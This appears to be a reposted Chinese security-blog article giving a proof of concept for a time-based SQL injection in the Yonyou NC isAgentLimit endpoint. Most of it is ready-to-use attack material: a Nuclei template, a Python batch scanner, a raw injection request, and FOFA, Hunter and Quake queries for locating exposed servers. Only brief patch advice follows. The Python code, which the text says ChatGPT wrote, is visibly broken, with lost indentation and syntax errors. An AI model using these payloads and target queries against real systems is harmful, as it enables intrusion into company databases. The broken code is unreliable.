用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

admin 2024年6月17日11:20:24评论6 views字数 3342阅读11分8秒阅读模式

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测,如您觉得有用,请动动小手点个关注,为您每天更新最新漏洞POC)

  • 「Yaml」
id: yonyou-UFIDA-NC-oacoSchedulerEvents-isAgentLimit-sqli

info:
name: 用友NC /oacoSchedulerEvents/isAgentLimit SQL注入致RCE
author:

xx
  severity: high
  description: 用友NC /oacoSchedulerEvents/isAgentLimit SQL注入致RCE
  metadata:
    fofa-query: app="用友-UFIDA-NC"
  tags: yonyou,sqli

 

http:
- raw:
  - |+
    @timeout: 30s
    GET /portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_flowagent=1'waitfor+delay+'0:0:3'-- HTTP/1.1
    Host: {{Hostname}}
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
    Content-Type: application/x-www-form-urlencoded
    Accept-Encoding: gzip, deflate
    Accept: */*
    Connection: keep-alive

 

max-redirects: 3
  matchers-condition: and
  matchers:
        - type: dsl
          dsl:
            - 'duration>=3 && duration<5' 
            - 'status_code_1 == 200'
          condition: and

用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

  • 「Python」
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning

RED = '�33[91m'
RESET = '�33[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def check_vulnerability(url):
try:
# 构造完整的攻击URL
attack_url = url.rstrip('/') + "/portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_flowagent=1'waitfor+delay+'0:0:3'--"

start_time = time.time()
response = requests.get(attack_url, verify=False, timeout=10)
elapsed_time = time.time() - start_time

if 3 < elapsed_time < 5 and response.status_code ==200:
print(f"{RED}URL [{url}] 可能存在用友NC /oacoSchedulerEvents/isAgentLimit SQL注入致RCE漏洞{RESET}")
else:
print(f"URL [{url}] 不存在漏洞")
except requests.exceptions.Timeout:
print(f"URL [{url}] 请求超时,可能存在漏洞")
except requests.RequestException as e:
print(f"URL [{url}] 请求失败: {e}")

def main():
parser = argparse.ArgumentParser(description='检测目标地址是否存在用友NC /oacoSchedulerEvents/isAgentLimit SQL注入致RCE漏洞')
parser.add_argument('-u''--url', help='指定目标地址')
parser.add_argument('-f''--file', help='指定包含目标地址的文本文件')

args = parser.parse_args()

if args.url:
if not args.url.startswith("http://"and not args.url.startswith("https://"):
args.url = "http://" + args.url
check_vulnerability(args.url)
elif args.file:
with open(args.file, 'r'as file:
urls = file.read().splitlines()
for url in urls:
if not url.startswith("http://"and not url.startswith("https://"):
url = "http://" + url
check_vulnerability(url)

if __name__ == '__main__':
main()

用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

漏洞介绍

UFIDA NC是用友财务软件集团开发的一款集成化的企业管理软件,旨在帮助企业管理各种业务流程,包括财务管理、人力资源管理、供应链管理、生产制造等。它提供了一套完整的财务软件解决方案,可以满足企业的财务核算、成本管理、预算控制等需求。其oacoSchedulerEvents/isAgentLimit接口存在SQL注入漏洞。恶意攻击者可能会向数据库发送构造的恶意SQL查询语句,以获取数据库敏感信息、修改数据或者执行其他恶意操作,还有可能直接通过sql注入获取服务器权限。

用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

资产测绘

  • 「Fofa」

app="用友-UFIDA-NC"

  • 「Hunter」

app.name="用友 UFIDA NC"

  • 「Quake」

app="用友-UFIDA-NC"

用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

漏洞复现

「1、构造数据包请求访问」

GET /portal/pt/oacoSchedulerEvents/isAgentLimit?pageId=login&pk_flowagent=1'waitfor+delay+'0:0:6'-- HTTP/1.1
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

「2、查看响应时间」

用友NC oacoSchedulerEventsisAgentLimit SQL注入-POC

修复方案

  • 官方已发布安全补丁,建议联系厂商打补丁或升级版本。
  • 引入Web应用防火墙防护,配置接口拦截策略。

 

 

原文始发于微信公众号(浅梦安全):【漏洞复现|含POC】用友NC oacoSchedulerEventsisAgentLimit SQL注入

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月17日11:20:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   用友NC oacoSchedulerEventsisAgentLimit SQL注入-POChttps://cn-sec.com/archives/2854991.html

发表评论

匿名网友 填写信息